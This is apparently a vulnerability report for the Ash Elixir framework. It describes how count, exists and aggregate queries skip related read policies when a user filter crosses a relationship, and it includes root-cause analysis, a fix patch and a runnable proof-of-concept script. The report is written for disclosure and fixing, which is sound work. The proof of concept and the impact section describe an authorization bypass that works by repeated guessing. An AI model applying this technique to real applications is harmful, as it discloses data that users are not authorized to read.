Ash.count, Ash.exists and Ash.aggregate skip related read policies in user filters
Description
I, Glenn Rempe, personally ran and validated this issue. An AI agent helped me identify a root cause, reproduce, and provide a working patch with code fixup and tests.
---
Ash.count/2, Ash.exists/2 and Ash.aggregate/3 apply only the root resource's read policy. When the query carries a user-supplied filter (Ash.Query.filter_input) that crosses a relationship, either directly (for example comments.body) or through a public aggregate over one (for example first :first_body, :comments, :body), the related resource's read policy is never applied, although Ash.read applies it to the same query. An actor who cannot read a related row can therefore confirm whether a row matching any condition they choose exists, one query at a time. Confidentiality only. Reproduced on ash 3.34.5 and 3.33.3; earlier versions not checked. Cause: Ash.Actions.Aggregate.run/4 (lib/ash/actions/aggregate.ex) skips the relationship_filters, filter_with_related and update_aggregate_filters steps that the read path runs.
Details
Important
The complete copy of this report, as well as a patch with suggested fix code and associated tests against the ash repo (that I could not attach to this report) is available in a GitHub secret gist found here:
gist.github.com/
Drafted by an AI agent as working notes for the owner; Ash's AI policy (github.com/
ash-project/ .github/ blob/ main/ AI_POLICY.md) asks for security reports to be reproduced, written, verified and analyzed by a human.
Ash.count, Ash.exists and Ash.aggregate skip related read policies in user filters
Private security report for ash (ash_lua and ash_ai inherit it). Draft, 2026-10-08.
Run it
elixir 2026-10-08-ash-aggregate-repro.exs # ash 3.34.5 from Hex
ASH_VERSION=3.33.3 elixir 2026-10-08-ash-aggregate-repro.exs # another release
ASH_PATH=../ash elixir 2026-10-08-ash-aggregate-repro.exs # a local checkout of a fix branch
REPRO_LUA=1 elixir 2026-10-08-ash-aggregate-repro.exs # adds an ash_lua columnThe script (attached, listed below) needs nothing but Elixir. It installs ash and simple_sat with Mix.install, defines two Ash.DataLayer.Ets resources, and exits 1 with VULNERABLE: ... while the bug is present, 0 with FIXED: ... once it is gone, and 2 if its own setup misbehaves. With REPRO_NO_INSTALL=1 it skips Mix.install and runs under mix run in an existing project. Output on ash 3.34.5 (3.33.3 prints the same apart from the version):
actor filter guess Ash.read! page.count Ash.count! Ash.exists? aggregate :count aggregate :list
author comments.body secret 1 1 1 true 1 ["P"]
author comments.body wrong 0 0 0 false 0 []
author first_body secret 1 1 1 true 1 ["P"]
author first_body wrong 0 0 0 false 0 []
other_user comments.body secret 0 0 1 true 1 ["P"]
other_user comments.body wrong 0 0 0 false 0 []
other_user first_body secret 0 0 1 true 1 ["P"]
other_user first_body wrong 0 0 0 false 0 []
VULNERABLE: for another user, Ash.count!, Ash.exists?, aggregate :count, aggregate :list (comments.body); Ash.count!, Ash.exists?, aggregate :count, aggregate :list (first_body) confirm the hidden comment body while Ash.read! returns nothing (ash 3.34.5)Post is readable by anyone, Comment only by its author (Post has_many :comments, public, and a public aggregate first :first_body, :comments, :body). Each row filters posts with authorize?: true in one of two shapes: filter_input(Post, %{"comments" => %{"body" => %{"eq" => guess}}}) or filter_input(Post, %{"first_body" => %{"eq" => guess}}). For the other user, Ash.read! and the page count say no to both guesses; Ash.count!, Ash.exists? and Ash.aggregate! say yes to the right one only, in both shapes. Verified on Elixir 1.20.1 / OTP 29.0.2 with ash 3.34.5 and 3.33.3, and ash_lua 0.2.3 via REPRO_LUA=1 (its column leaks too); earlier versions were not checked.
Root cause (ash 3.34.5 line numbers)
Ash.count/2andAsh.exists/2go throughAsh.aggregate/3toAsh.Actions.Aggregate.run/4.run/4callsauthorize_query/3(lib/ash/actions/aggregate.ex:86, defined at:234), which isAsh.can(query, actor, alter_source?: true, run_queries?: false, ...): it adds the root resource's policy filter and nothing else. It then builds the data layer query withfilter: query.filterunchanged (:127).- The read path calls
Ash.Filter.relationship_filters/7(lib/ash/actions/read/read.ex:701, defined atlib/ash/filter/filter.ex:1049), rewrites the filter withfilter_with_related/3(read.ex:741, defined at:5155), and applies the same path filters to aggregates referenced in the filter withupdate_aggregate_filters/10(read.ex:767, defined at:3713). The aggregate path does none of these.
A filter on a public aggregate over the relationship (the first_body example) leaks the same way. relationship_filters only looks at input refs, so a filter built with Ash.Query.filter/2 across the relationship (comments.body == "secret") gets no related policy on either path. The aggregate shape differs: the read path authorizes an aggregate reference whoever built the filter, so for the other user Ash.Query.filter(Post, first_body == "secret") gives 0 from Ash.read! but 1 from Ash.count! and true from Ash.exists? on 3.34.5 and 3.33.3 (0 and false with the patch below; not in the script). User-supplied filters are what integrations forward.
Impact
Confidentiality. Wherever a caller's filter reaches the aggregate path, each query answers one yes/no question about related rows the caller cannot read: whether one exists, its attribute values (by guessing, or by narrowing with comparison operators, which was not tested separately), and, with a :list aggregate, which root rows it belongs to. In one application this was reachable by unauthenticated users through an AshAi tool that offered the count and exists result types.
ash_lua and ash_ai
Neither has a bug of its own; both call them with the caller's actor (ash_lua passes its opts through; ash_ai sets the actor with Ash.Query.for_read/4 and leaves authorize? at its default), and need no fix beyond core's.
- ash_lua (0.2.2 and 0.2.3): a read with
operation = "count","exists"or{kind, field}callsAsh.count,Ash.existsorAsh.aggregate(perform_operationinlib/ash_lua/runtime.ex). - ash_ai (1.0.3 and 1.1.1):
result_type"count","exists"and an aggregate object callAsh.count,Ash.existsandAsh.aggregate(execute_readinlib/ash_ai/tool/execution.ex). Read from source; not run by the script.
Until a release, either could refuse those operations when Ash.Filter.relationship_paths(filter, true, false, true) on the parsed input filter contains a path other than [], or answer them from an authorized Ash.read. relationship_paths/1 gives [[]] for a root-only filter and does not expand aggregates. On 3.34.5, /1 vs /4: root title [[]] / [[]]; comments.body [[:comments]] / [[:comments]]; first_body [[]] / [[], [:comments]]; no filter [] / [].
Fix direction
Apply the read path's related-filter steps in Ash.Actions.Aggregate.run/4 after authorize_query/3. The patch below against 3.34.5 (making filter_with_related/3 public; update_aggregate_filters/10 already is) turns the script's output to FIXED (exit 0, with and without the ash_lua column) when run with ASH_PATH. Without the update_aggregate_filters call it fixes the comments.body rows but not the first_body rows; passing agg_refs(...) as the aggregates argument of relationship_filters instead does not fix them either. It passes parent_stack as [] where the read path uses parent_stack_from_context(query.context).
Applied to a local clone of ash at v3.34.5 (commit 8545fe6c) on a branch, with a regression test (test/actions/aggregate_related_filter_auth_test.exs, both shapes, 12 tests), ash's full suite (mix test, as its CI runs it) passes unchanged: 4498 tests on the tag and 4510 on the branch, 0 failures, under seeds 12345, 67890 and 424242 and with SAT_SOLVER=SimpleSat. The regression test fails 8 of 12 on the tag and passes 12 of 12 on the branch. mix format --check-formatted, mix credo --strict, mix dialyzer, mix sobelow --skip and the spark checks pass on the branch (the formatter rewraps two long lines). Not run: the subproject workflow (ash_postgres and others) and the REUSE lint. The branch is attached as 2026-10-08-ash-aggregate-related-filter-auth.patch (git format-patch, two commits). The core of it:
{:ok, query} <- filter_related(query, opts, agg_authorize?), # new step after authorize_query
defp filter_related(query, opts, true) do
with {:ok, path_filters} <-
Ash.Filter.relationship_filters(query.domain, query, opts[:actor], query.tenant, [], true),
{:ok, filter} <- Ash.Actions.Read.filter_with_related(query, true, path_filters) do
filter =
Ash.Actions.Read.update_aggregate_filters(filter, query.resource, true, path_filters,
opts[:actor], query.tenant, opts[:tracer], query.domain, [], query.context)
{:ok, %{query | filter: filter}}
end
end
defp filter_related(query, _opts, _), do: {:ok, query}The read path also hardens calculation expressions, loaded aggregates and sorts with the same path filters; sharing that construction would keep the two paths from drifting.
Proof of concept
# Drafted by an AI agent as working notes for the owner; Ash's AI policy (https://github.com/ash-project/.github/blob/main/AI_POLICY.md) asks for security reports to be reproduced, written, verified and analyzed by a human.
#
# Ash.count, Ash.exists? and Ash.aggregate do not apply a related resource's read policy to a
# user-supplied filter (Ash.Query.filter_input) that crosses a relationship, directly or through
# a public aggregate. Ash.read does.
#
# elixir 2026-10-08-ash-aggregate-repro.exs # ash 3.34.5 from Hex
# ASH_VERSION=3.33.3 elixir 2026-10-08-ash-aggregate-repro.exs # another Hex release
# ASH_PATH=../ash elixir 2026-10-08-ash-aggregate-repro.exs # a local ash checkout, e.g. a fix branch
# REPRO_LUA=1 elixir ... # also ask through ash_lua's read with operation = "count"
# REPRO_NO_INSTALL=1 mix run <file> # inside an existing project that depends on ash
#
# "VULNERABLE: ..." and exit 1 while the bug is present; "FIXED: ..." and exit 0 once it is not;
# exit 2 if the setup itself misbehaves (the author's answers are inconsistent, or Ash.read! leaks).
lua? = System.get_env("REPRO_LUA") == "1"
if System.get_env("REPRO_NO_INSTALL") != "1" do
ash_path = System.get_env("ASH_PATH")
ash = if ash_path, do: {:ash, path: ash_path, override: true}, else: {:ash, System.get_env("ASH_VERSION", "3.34.5")}
extra = if lua?, do: [{:ash_lua, "~> 0.2"}], else: []
# ash 3.33 and later refuse to compile a :string attribute without default_string_length_count set.
config = [ash: [default_string_length_count: :codepoints], logger: [level: :warning]]
Mix.install([ash, {:simple_sat, "~> 0.1"} | extra], config: config, consolidate_protocols: false)
end
Logger.configure(level: :warning)
{:ok, _} = Application.ensure_all_started(:ash)
defmodule AggRepro.Blog do
use Ash.Domain, validate_config_inclusion?: false
resources do
resource AggRepro.Post
resource AggRepro.Comment
end
end
defmodule AggRepro.Post do
use Ash.Resource, domain: AggRepro.Blog, data_layer: Ash.DataLayer.Ets, authorizers: [Ash.Policy.Authorizer]
attributes do
uuid_primary_key :id
attribute :title, :string, public?: true
end
relationships do
has_many :comments, AggRepro.Comment, public?: true
end
aggregates do
first :first_body, :comments, :body, public?: true
end
actions do
defaults create: [:title]
read :read do
primary? true
pagination offset?: true, countable: true, required?: false
end
end
# Every post is readable by anyone.
policies do
policy action_type(:read), do: authorize_if(always())
end
end
defmodule AggRepro.Comment do
use Ash.Resource, domain: AggRepro.Blog, data_layer: Ash.DataLayer.Ets, authorizers: [Ash.Policy.Authorizer]
attributes do
uuid_primary_key :id
attribute :body, :string, public?: true
attribute :user_id, :uuid, public?: true
end
relationships do
belongs_to :post, AggRepro.Post, public?: true, attribute_writable?: true
end
actions do
defaults [:read, create: [:body, :user_id, :post_id]]
end
# A comment is readable only by its author.
policies do
policy action_type(:read), do: authorize_if(expr(user_id == ^actor(:id)))
end
end
[author, other] = for _ <- 1..2, do: %{id: Ash.UUID.generate()}
post = Ash.create!(AggRepro.Post, %{title: "P"}, authorize?: false)
Ash.create!(AggRepro.Comment, %{body: "secret", user_id: author.id, post_id: post.id}, authorize?: false)
Application.put_env(:agg_repro, :ash_domains, [AggRepro.Blog])
# Each row asks "is there a post with a comment whose body is b?" through one filter shape: the
# relationship itself, or a public aggregate over it. Each check returns {shown, yes?}.
shapes = [{"comments.body", &%{"comments" => %{"body" => %{"eq" => &1}}}}, {"first_body", &%{"first_body" => %{"eq" => &1}}}]
guess = fn m -> Ash.Query.filter_input(AggRepro.Post, m) end
num = fn n -> {n, n > 0} end
lua_table = fn m -> m |> inspect() |> String.replace(~r/"(\w+)" => /, "\\1 = ") |> String.replace("%{", "{") end
lua = fn m -> ~s|return assert(blog.post.read({filter = #{lua_table.(m)}, operation = "count"}))| end
lua_count = fn m, o -> AshLua.eval!(lua.(m), otp_app: :agg_repro, actor: o[:actor]) end
checks =
[
{"Ash.read!", fn m, o -> num.(length(Ash.read!(guess.(m), o))) end},
{"page.count", fn m, o -> num.(Ash.read!(guess.(m), o ++ [page: [limit: 10, count: true]]).count) end},
{"Ash.count!", fn m, o -> num.(Ash.count!(guess.(m), o)) end},
{"Ash.exists?", fn m, o -> e = Ash.exists?(guess.(m), o); {e, e} end},
{"aggregate :count", fn m, o -> num.(Ash.aggregate!(guess.(m), {:n, :count}, o).n) end},
{"aggregate :list", fn m, o -> t = Ash.aggregate!(guess.(m), {:t, :list, field: :title}, o).t; {t, t != []} end}
] ++ if(lua?, do: [{"ash_lua count", fn m, o -> num.(hd(elem(lua_count.(m, o), 0))) end}], else: [])
rows =
for {who, actor} <- [author: author, other_user: other], {s, f} <- shapes, body <- ["secret", "wrong"] do
{{who, s, body}, Enum.map(checks, fn {_, c} -> c.(f.(body), actor: actor, authorize?: true) end)}
end
names = Enum.map(checks, &elem(&1, 0))
cells = fn cs -> Enum.map(cs, &inspect(elem(&1, 0))) end
lines = [["actor", "filter", "guess" | names] | for({{w, s, b}, cs} <- rows, do: [to_string(w), s, b | cells.(cs)])]
widths = for i <- 0..(length(names) + 2), do: lines |> Enum.map(&String.length(Enum.at(&1, i))) |> Enum.max()
for l <- lines, do: IO.puts(l |> Enum.zip_with(widths, &String.pad_trailing/2) |> Enum.join(" ") |> String.trim_trailing())
yes = fn key -> rows |> Map.new() |> Map.fetch!(key) |> Enum.map(&elem(&1, 1)) end
leaks_in = fn s -> for {n, true, false} <- Enum.zip([names, yes.({:other_user, s, "secret"}), yes.({:other_user, s, "wrong"})]), do: n end
leaks = for {s, _} <- shapes, l = leaks_in.(s), l != [], do: "#{Enum.join(l, ", ")} (#{s})"
vsn = Application.spec(:ash, :vsn)
bad_setup? = fn s ->
not Enum.all?(yes.({:author, s, "secret"})) or Enum.any?(yes.({:author, s, "wrong"})) or hd(yes.({:other_user, s, "secret"}))
end
cond do
Enum.any?(shapes, fn {s, _} -> bad_setup?.(s) end) ->
IO.puts("INCONCLUSIVE: the author is not answered 1/true and 0/false everywhere, or Ash.read! " <>
"shows the other user the post (ash #{vsn})")
System.halt(2)
leaks != [] ->
IO.puts("VULNERABLE: for another user, #{Enum.join(leaks, "; ")} confirm the hidden comment " <>
"body while Ash.read! returns nothing (ash #{vsn})")
System.halt(1)
true ->
IO.puts("FIXED: no entry point confirms a comment the actor cannot read (ash #{vsn})")
System.halt(0)
end
Impact
Information disclosure through incorrect authorization (CWE-863). It affects any application where a caller's filter can reach the aggregate path:
- code that passes request filters to Ash.count, Ash.exists? or Ash.aggregate;
- ash_lua scripts using a read with operation "count", "exists" or {kind, field};
- AshAi tools that offer the count, exists or aggregate result types, which can be reachable by unauthenticated users when the root resource's read policy admits them.
Such a caller can learn whether a hidden related row exists, which root rows it belongs to (with a :list aggregate), and its attribute values by repeated guesses or comparison operators. There is no write access and no privilege escalation. Plain reads, read page counts, and AshJsonApi and AshGraphql list counts are not affected.